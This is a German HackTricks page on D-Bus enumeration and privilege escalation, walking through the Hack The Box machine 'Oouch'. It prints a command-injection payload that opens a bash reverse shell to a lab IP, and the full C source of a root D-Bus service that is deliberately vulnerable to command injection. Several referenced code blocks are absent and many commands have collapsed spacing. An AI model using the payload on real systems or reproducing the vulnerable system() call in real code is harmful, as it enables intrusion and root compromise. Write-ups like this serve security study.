Teilen Sie Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositories einreichen.
GUI-Enumeration
D-Bus wird als Vermittler für interprozesskommunikation (IPC) in Ubuntu-Desktop-Umgebungen verwendet. Auf Ubuntu wird der gleichzeitige Betrieb mehrerer Nachrichtenbusse beobachtet: Der Systembus wird hauptsächlich von privilegierten Diensten genutzt, um Dienste freizulegen, die im gesamten System relevant sind, und ein Sitzungsbus für jeden eingeloggten Benutzer, der nur für diesen spezifischen Benutzer relevante Dienste freilegt. Der Fokus liegt hier hauptsächlich auf dem Systembus aufgrund seiner Verbindung zu Diensten, die mit höheren Privilegien (z. B. root) ausgeführt werden, da unser Ziel darin besteht, Privilegien zu erhöhen. Es ist zu beachten, dass die Architektur von D-Bus einen 'Router' pro Sitzungsbus verwendet, der dafür verantwortlich ist, Clientnachrichten an die entsprechenden Dienste weiterzuleiten, basierend auf der Adresse, die von den Clients für den Dienst angegeben wird, mit dem sie kommunizieren möchten.
Dienste auf D-Bus werden durch die Objekte und Schnittstellen definiert, die sie freilegen. Objekte können mit Klasseninstanzen in herkömmlichen OOP-Sprachen verglichen werden, wobei jede Instanz eindeutig durch einen Objektpfad identifiziert wird. Dieser Pfad, ähnlich wie ein Dateisystempfad, identifiziert eindeutig jedes vom Dienst freigegebene Objekt. Eine wichtige Schnittstelle für Forschungszwecke ist die org.freedesktop.DBus.Introspectable-Schnittstelle, die eine einzige Methode, Introspect, enthält. Diese Methode gibt eine XML-Repräsentation der unterstützten Methoden, Signale und Eigenschaften des Objekts zurück, wobei hier der Fokus auf Methoden liegt und Eigenschaften und Signale ausgelassen werden.
Für die Kommunikation mit der D-Bus-Schnittstelle wurden zwei Tools verwendet: ein CLI-Tool namens gdbus zur einfachen Aufruf von Methoden, die von D-Bus in Skripten freigegeben werden, und D-Feet, ein auf Python basierendes GUI-Tool, das dazu dient, die verfügbaren Dienste auf jedem Bus aufzulisten und die in jedem Dienst enthaltenen Objekte anzuzeigen.
Im ersten Bild werden Dienste angezeigt, die mit dem D-Bus-Systembus registriert sind, wobei org.debin.apt nach Auswahl der Schaltfläche Systembus speziell hervorgehoben ist. D-Feet fragt diesen Dienst nach Objekten ab und zeigt Schnittstellen, Methoden, Eigenschaften und Signale für ausgewählte Objekte an, wie im zweiten Bild zu sehen ist. Die Signatur jeder Methode wird ebenfalls detailliert aufgeführt.
Ein bemerkenswertes Merkmal ist die Anzeige der Prozess-ID (pid) und der Befehlszeile des Dienstes, die nützlich ist, um zu bestätigen, ob der Dienst mit erhöhten Berechtigungen ausgeführt wird, was für die Relevanz der Forschung wichtig ist.
D-Feet ermöglicht auch die Methodenaufrufe: Benutzer können Python-Ausdrücke als Parameter eingeben, die D-Feet in D-Bus-Typen umwandelt, bevor sie an den Dienst übergeben werden.
Beachten Sie jedoch, dass einige Methoden eine Authentifizierung erfordern, bevor wir sie aufrufen können. Wir werden diese Methoden ignorieren, da unser Ziel darin besteht, unsere Berechtigungen ohne Anmeldeinformationen zu erhöhen.
Beachten Sie auch, dass einige Dienste einen anderen D-Bus-Dienst namens org.freedeskto.PolicyKit1 abfragen, ob einem Benutzer bestimmte Aktionen erlaubt sind oder nicht.
Cmd-Zeilen-Auflistung
Auflisten von Dienstobjekten
Es ist möglich, geöffnete D-Bus-Schnittstellen mit folgendem Befehl aufzulisten:
Von Wikipedia: Wenn ein Prozess eine Verbindung zu einem Bus herstellt, weist der Bus der Verbindung einen speziellen Busnamen zu, der als eindeutiger Verbindungsname bezeichnet wird. Busnamen dieses Typs sind unveränderlich - es ist garantiert, dass sie sich nicht ändern, solange die Verbindung besteht - und, was noch wichtiger ist, sie können während der Lebensdauer des Busses nicht wiederverwendet werden. Dies bedeutet, dass keine andere Verbindung zu diesem Bus jemals einen solchen eindeutigen Verbindungsnamen zugewiesen bekommt, auch wenn derselbe Prozess die Verbindung zum Bus schließt und eine neue erstellt. Eindeutige Verbindungsnamen sind leicht erkennbar, da sie mit dem - ansonsten verbotenen - Doppelpunktzeichen beginnen.
Service-Objektinformationen
Dann können Sie einige Informationen über die Schnittstelle mit erhalten:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Schnittstellen eines Service-Objekts auflisten
Sie müssen über ausreichende Berechtigungen verfügen.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Inspezieren Sie die Schnittstelle eines Service-Objekts
Beachten Sie, wie in diesem Beispiel die neueste Schnittstelle ausgewählt wurde, die mithilfe des tree-Parameters entdeckt wurde (siehe vorherige Sektion):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Überwachungs-/Erfassungsschnittstelle
Mit ausreichenden Berechtigungen (nur send_destination und receive_sender Berechtigungen reichen nicht aus) können Sie eine D-Bus-Kommunikation überwachen.
Wenn Sie wissen, wie man eine D-Bus-Konfigurationsdatei konfiguriert, um es nicht-root-Benutzern zu ermöglichen, die Kommunikation zu sniffen, kontaktieren Sie mich bitte!
Verschiedene Möglichkeiten zur Überwachung:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
Im folgenden Beispiel wird die Schnittstelle htb.oouch.Block überwacht und die Nachricht "_lalalalal_" wird durch Misskommunikation gesendet:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Du kannst capture anstelle von monitor verwenden, um die Ergebnisse in einer pcap-Datei zu speichern.
Filtern aller Störgeräusche
Wenn auf dem Bus einfach zu viele Informationen vorhanden sind, übergebe eine Übereinstimmungsregel wie folgt:
Als Benutzer qtc innerhalb des Hosts "oouch" von HTB können Sie eine unerwartete D-Bus-Konfigurationsdatei unter /etc/dbus-1/system.d/htb.oouch.Block.conf finden:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Beachten Sie aus der vorherigen Konfiguration, dass Sie der Benutzer root oder www-data sein müssen, um Informationen über diese D-BUS-Kommunikation zu senden und zu empfangen.
Als Benutzer qtc innerhalb des Docker-Containers aeb4525789d8 finden Sie im Datei /code/oouch/routes.py einige dbus-bezogene Codes. Hier ist der interessante Code:
Wie Sie sehen können, erfolgt die Verbindung mit einer D-Bus-Schnittstelle und das Senden der "Block"-Funktion mit der "client_ip".
Auf der anderen Seite der D-Bus-Verbindung läuft eine kompilierte C-Binärdatei. Dieser Code lauscht in der D-Bus-Verbindung nach der IP-Adresse und ruft iptables über die system-Funktion auf, um die angegebene IP-Adresse zu blockieren.
Der Aufruf von system ist absichtlich anfällig für Befehlseinschleusung, sodass ein Payload wie der folgende eine Reverse-Shell erstellt: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Ausnutzen
Am Ende dieser Seite finden Sie den vollständigen C-Code der D-Bus-Anwendung. Darin finden Sie zwischen den Zeilen 91-97, wie der D-Bus-Objektpfad und der Schnittstellennameregistriert sind. Diese Informationen werden erforderlich sein, um Informationen an die D-Bus-Verbindung zu senden:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Auch in Zeile 57 können Sie feststellen, dass die einzige registrierte Methode für diese D-Bus-Kommunikation Block genannt wird (Deshalb werden in dem folgenden Abschnitt die Payloads an das Service-Objekt htb.oouch.Block, die Schnittstelle /htb/oouch/Block und den Methodennamen Block gesendet):
Der folgende Python-Code sendet das Payload an die D-Bus-Verbindung an die Block-Methode über block_iface.Block(runme) (beachten Sie, dass er aus dem vorherigen Code-Abschnitt extrahiert wurde):
dbus-send ist ein Tool, das verwendet wird, um Nachrichten an den "Message Bus" zu senden.
Message Bus - Eine Software, die von Systemen verwendet wird, um die Kommunikation zwischen Anwendungen zu erleichtern. Es ist mit einer Nachrichtenwarteschlange verbunden (Nachrichten sind in Sequenz geordnet), aber im Message Bus werden die Nachrichten in einem Abonnementmodell gesendet und auch sehr schnell.
Das Tag "-system" wird verwendet, um anzugeben, dass es sich um eine Systemnachricht handelt, nicht um eine Sitzungsnachricht (standardmäßig).
Das Tag "--print-reply" wird verwendet, um unsere Nachricht angemessen zu drucken und alle Antworten in einem menschenlesbaren Format zu empfangen.
"--dest=Dbus-Interface-Block" Die Adresse des Dbus-Interfaces.
"--string:" - Art der Nachricht, die wir an das Interface senden möchten. Es gibt mehrere Formate zum Senden von Nachrichten wie double, bytes, booleans, int, objpath. Davon ist der "Objektpfad" nützlich, wenn wir einen Pfad einer Datei an das Dbus-Interface senden möchten. In diesem Fall können wir eine spezielle Datei (FIFO) verwenden, um einen Befehl an das Interface im Namen einer Datei zu übergeben. "string:;" - Dies dient dazu, den Objektpfad erneut aufzurufen, wo wir die FIFO-Umkehrshell-Datei/den Befehl platzieren.
Hinweis: In htb.oouch.Block.Block bezieht sich der erste Teil (htb.oouch.Block) auf das Dienstobjekt und der letzte Teil (.Block) auf den Methodennamen.
C-Code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
